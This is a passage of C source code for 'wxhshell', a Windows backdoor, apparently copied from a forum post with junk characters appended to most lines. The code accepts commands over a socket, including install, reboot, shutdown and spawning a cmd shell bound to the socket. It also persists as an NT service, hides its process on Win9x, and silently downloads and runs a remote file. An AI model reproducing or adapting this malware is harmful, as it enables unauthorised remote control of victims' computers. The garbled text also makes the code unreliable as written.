    switch(cmd[0]) { B2hfD-h,>  
  "]]q} O?  
  // 帮助 d]M[C[TOX  
  case '?': { 2X @G"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %N~;{!![p  
    break; "oE*9J?e  
  } K ~>jApZ%  
  // 安装 ~5t?C<wo  
  case 'i': { xtJAMo>g  
    if(Install()) _IYY08&(r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $au2%NL  
    else X7e/:._SAH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sA_X<>vAKJ  
    break; kQ}s/*  
    } z Z%/W)t  
  // 卸载 )bYez  
  case 'r': { H%Y%fQ ~^  
    if(Uninstall()) dB`b9)Tk0z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aii'}c  
    else HP$K.a7H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Nq?#%vdT  
    break; Jf+7"![|  
    } UpeQOC  
  // 显示 wxhshell 所在路径 q$^<zY  
  case 'p': { M1uP\Sa  
    char svExeFile[MAX_PATH]; "3t\em!  
    strcpy(svExeFile,"\n\r"); ;? 8Iys#  
      strcat(svExeFile,ExeFile); {aJz. `u\  
        send(wsh,svExeFile,strlen(svExeFile),0); z]>9nv`b  
    break; {mYx  
    } ma7fDo0,`h  
  // 重启 <R~KM=rL  
  case 'b': { Cj$H[K}>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d[U1.SNL  
    if(Boot(REBOOT)) 5<r)+?!n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a paIJ+^[  
    else { ? -{IsF^  
    closesocket(wsh); )[DpK=[N^p  
    ExitThread(0); ;xW{Ehq-h  
    } eG^z*`**  
    break; #KJZR{  
    } ' PL_~  
  // 关机 s?<!&Y  
  case 'd': { +UaO<L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dP3VJ3+ %  
    if(Boot(SHUTDOWN)) d H_2 o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  oUS ,+e  
    else { 8OBF^r44R  
    closesocket(wsh); g*r/u;  
    ExitThread(0); STp!8mL  
    } 2;R/.xI6v  
    break; W^ClHQ"Iy  
    } `1_FQnm)  
  // 获取shell *(VbPp_H_  
  case 's': { D'?]yyrf  
    CmdShell(wsh); \I xzdFF#  
    closesocket(wsh); Wy,"cT  
    ExitThread(0); ct.Bg)E  
    break; b.(XS?4o  
  } T]X{ @_  
  // 退出 f<=^ 4a  
  case 'x': { s KCGuw(mh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KF4see;;  
    CloseIt(wsh); Ei|0L$NCg  
    break; Zr R+QV  
    } K*[0dza$  
  // 离开 > ";%2 u1  
  case 'q': { "DzG Bu\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _"v~"k 90^  
    closesocket(wsh); 5EfY9}dl  
    WSACleanup(); ,@,LD  u  
    exit(1); g` kZ T} h  
    break; Z#@6#S`  
        } .^GFy   
  } r)%4-XeV  
  } eFes+i(35  
U!_sh<  
  // 提示信息 |H<|{{E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kEx8+2s=M  
} f!^)!~  
  } 4=UI3 2v3  
w4`!Te  
  return; AtuZF  
} B_b8r7Vn`  
a'm!M:w  
// shell模块句柄 @],Z 2  
int CmdShell(SOCKET sock) %pd5w~VP  
{ # e$\~cPd  
STARTUPINFO si; ^v#+PyW  
ZeroMemory(&si,sizeof(si)); E]1\iV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5~*=#v:`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A"`L~|&  
PROCESS_INFORMATION ProcessInfo; ;;D% l^m+  
char cmdline[]="cmd"; uFMs ^^#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  KhLg*EL  
  return 0; KPD@b=F  
} BllDWKb  
ry z /rf  
// 自身启动模式 cvn-*Sj  
int StartFromService(void) Cl%V^xTb  
{ cF-Jc}h  
typedef struct qT 5Wa O)  
{ #}nBS-+  
  DWORD ExitStatus; J!ln=h  
  DWORD PebBaseAddress; |Tj`qJGVw  
  DWORD AffinityMask; #tCIuQ,  
  DWORD BasePriority; e OO!jrT:  
  ULONG UniqueProcessId; 27}.s0{D  
  ULONG InheritedFromUniqueProcessId; 4u7c7K>\Y  
}   PROCESS_BASIC_INFORMATION; m>g}IX&K'  
o:p{^D@#k  
PROCNTQSIP NtQueryInformationProcess; (D:KqGqoT  
tzx:*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rs`Vr_?Hk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +>n. T  
k*A4;Bm  
  HANDLE             hProcess; k?!TjBKm  
  PROCESS_BASIC_INFORMATION pbi; kO /~i  
H0 {Mlu9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g-4gI\  
  if(NULL == hInst ) return 0; x(exx )w  
1uK)1%vK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H57jBD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l6r%nHP@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [N'r3  
d#x8O4S%i2  
  if (!NtQueryInformationProcess) return 0; M80}3mgP~  
_Y}^%eFw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?z*W8b]'  
  if(!hProcess) return 0; }])G Q@  
;igE IGR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 11nO<WH  
KFCQYdI`d  
  CloseHandle(hProcess); wWp?HDl"M  
RlG'|xaT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |:`?A3^m#  
if(hProcess==NULL) return 0; bcGn8  
Y/QK+UMW*  
HMODULE hMod; Y- z~#;  
char procName[255]; LR 8e|H0  
unsigned long cbNeeded; 1\"BvFE*E~  
s>[vT?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P}w^9=;S  
$Qx(aWE0  
  CloseHandle(hProcess); M%nZu{  
V}3~7(   
if(strstr(procName,"services")) return 1; // 以服务启动 0TuNA\Ug+  
b}"vI Rz  
  return 0; // 注册表启动 6 d{D3e[p^  
} :Kt{t46)  
*J*zml3  
// 主模块 ;h*"E(P p  
int StartWxhshell(LPSTR lpCmdLine) )o}=z\M-bN  
{ d#M?lS>  
  SOCKET wsl; gu~-}  
BOOL val=TRUE; /i7>&ND.r  
  int port=0; EX[l0]fj  
  struct sockaddr_in door; 2/a04qA#  
7~Xu71^3s  
  if(wscfg.ws_autoins) Install(); C5W-B8>  
h0ZW,2?l  
port=atoi(lpCmdLine); ?Mgt5by  
^@l5u=  
if(port<=0) port=wscfg.ws_port; E!O(:/*  
RMs1{64:  
  WSADATA data; A `H]q5d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z=1,<ydKV  
r&LCoe'\{i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3l41r[\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SO8|]Fk  
  door.sin_family = AF_INET; *o2_EqXL*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GtGyY0  
  door.sin_port = htons(port); k_.j%  
]c~rPi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n^I|}u\  
closesocket(wsl); 'h+4zvI"8  
return 1; sIQMUC[!  
} 0Zp<=\!;  
.*clY  
  if(listen(wsl,2) == INVALID_SOCKET) { .5$V7t.t$\  
closesocket(wsl); N-_| %C-.  
return 1; g*\v}6 h  
} oG U.U9~!  
  Wxhshell(wsl); b_"V%<I  
  WSACleanup(); |<5J  
~T{d9yNW1  
return 0; UVvt&=+4  
_s=Pk[e  
} hPX2 Bp  
))we\I__8  
// 以NT服务方式启动 `04Y ;@w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $4fjSSB~  
{ $;g%S0:3)  
DWORD   status = 0; (kD?},Z  
  DWORD   specificError = 0xfffffff;  _j?=&tc  
tL 9e~>,`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 55)ep  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p-ii($~ }  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v6, o/3Ex  
  serviceStatus.dwWin32ExitCode     = 0; EJ[iOYx  
  serviceStatus.dwServiceSpecificExitCode = 0; :EmMia-)J  
  serviceStatus.dwCheckPoint       = 0; *? orK o  
  serviceStatus.dwWaitHint       = 0; kK_>*iCMo  
374_G?t&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;Ef)7GE@\[  
  if (hServiceStatusHandle==0) return; z8rh*Rfxd  
\ { E;u'F  
status = GetLastError(); bN~'cs8 e  
  if (status!=NO_ERROR) ;L/T}!Dx  
{ m'vOFP)'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  I$sm5oL  
    serviceStatus.dwCheckPoint       = 0;  MYW 4@#  
    serviceStatus.dwWaitHint       = 0; OYCFx2{  
    serviceStatus.dwWin32ExitCode     = status; ,4?|}xg  
    serviceStatus.dwServiceSpecificExitCode = specificError; hJL0M!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u8)r W  
    return; ;z=C^'  
  } ?R~Ye  
yW7S }I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F$pd]F!#  
  serviceStatus.dwCheckPoint       = 0; & m ";D  
  serviceStatus.dwWaitHint       = 0; `5aypJf 1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eWt>^]H~  
} E*#60z7F  
)a2m<"  
// 处理NT服务事件,比如:启动、停止 1=cfk#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^a0 -5  
{ gB'Ah-@,P  
switch(fdwControl) OEqe^``!  
{ 97@?QI}  
case SERVICE_CONTROL_STOP: QSQ\@h;E  
  serviceStatus.dwWin32ExitCode = 0; k>@^M]%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MyS7AL   
  serviceStatus.dwCheckPoint   = 0; lKD<  
  serviceStatus.dwWaitHint     = 0; mf_ 9O  
  { H0Gp mKYW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "7u"d4h-:(  
  } H@bmLq  
  return; 7'l{I'Z  
case SERVICE_CONTROL_PAUSE: x#xO {  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;@UX7NA  
  break; _-2n3py  
case SERVICE_CONTROL_CONTINUE: _|V+["IS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V,%5 hl'&  
  break; < EE+ S#z  
case SERVICE_CONTROL_INTERROGATE: 4%.2 =  
  break; yeh adm\  
}; k*+ZLrT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G"R>aw  
} `x^,k% :4  
6xQe!d3>s3  
// 标准应用程序主函数 fP4IOlHkE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a5g{.:NfO  
{ $@!&ML  
?^A:~"~  
// 获取操作系统版本 ,lGwW8$R  
OsIsNt=GetOsVer(); :a<TV9?H0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %>}7 $Y%  
Z["nY&.sI  
  // 从命令行安装 ~5?n&pF  
  if(strpbrk(lpCmdLine,"iI")) Install(); D&lXi~Z%.  
-D':7!@  
  // 下载执行文件 lfG&V +S1  
if(wscfg.ws_downexe) { wtick~)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [~%;E[ky$  
  WinExec(wscfg.ws_filenam,SW_HIDE); V$%Fs{  
} D,R2wNF  
=1B&d[3;  
if(!OsIsNt) { E MbI\=>yS  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~2qG" 1[\  
HideProc(); /hy!8c7  
StartWxhshell(lpCmdLine); Xg)FIaw]eT  
} w9h5f  
else w)c#ZJHG  
  if(StartFromService()) K>~cY%3^i  
  // 以服务方式启动 ,#FH8%Yf  
  StartServiceCtrlDispatcher(DispatchTable); G U/k^ Qy  
else NjMLq|X  
  // 普通方式启动 H[yLl v  
  StartWxhshell(lpCmdLine); #6Ph"\G/  
X-^Oz@.>  
return 0; by3kfY]4s  
}
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只看该作者 1 发表于: 2006-10-10
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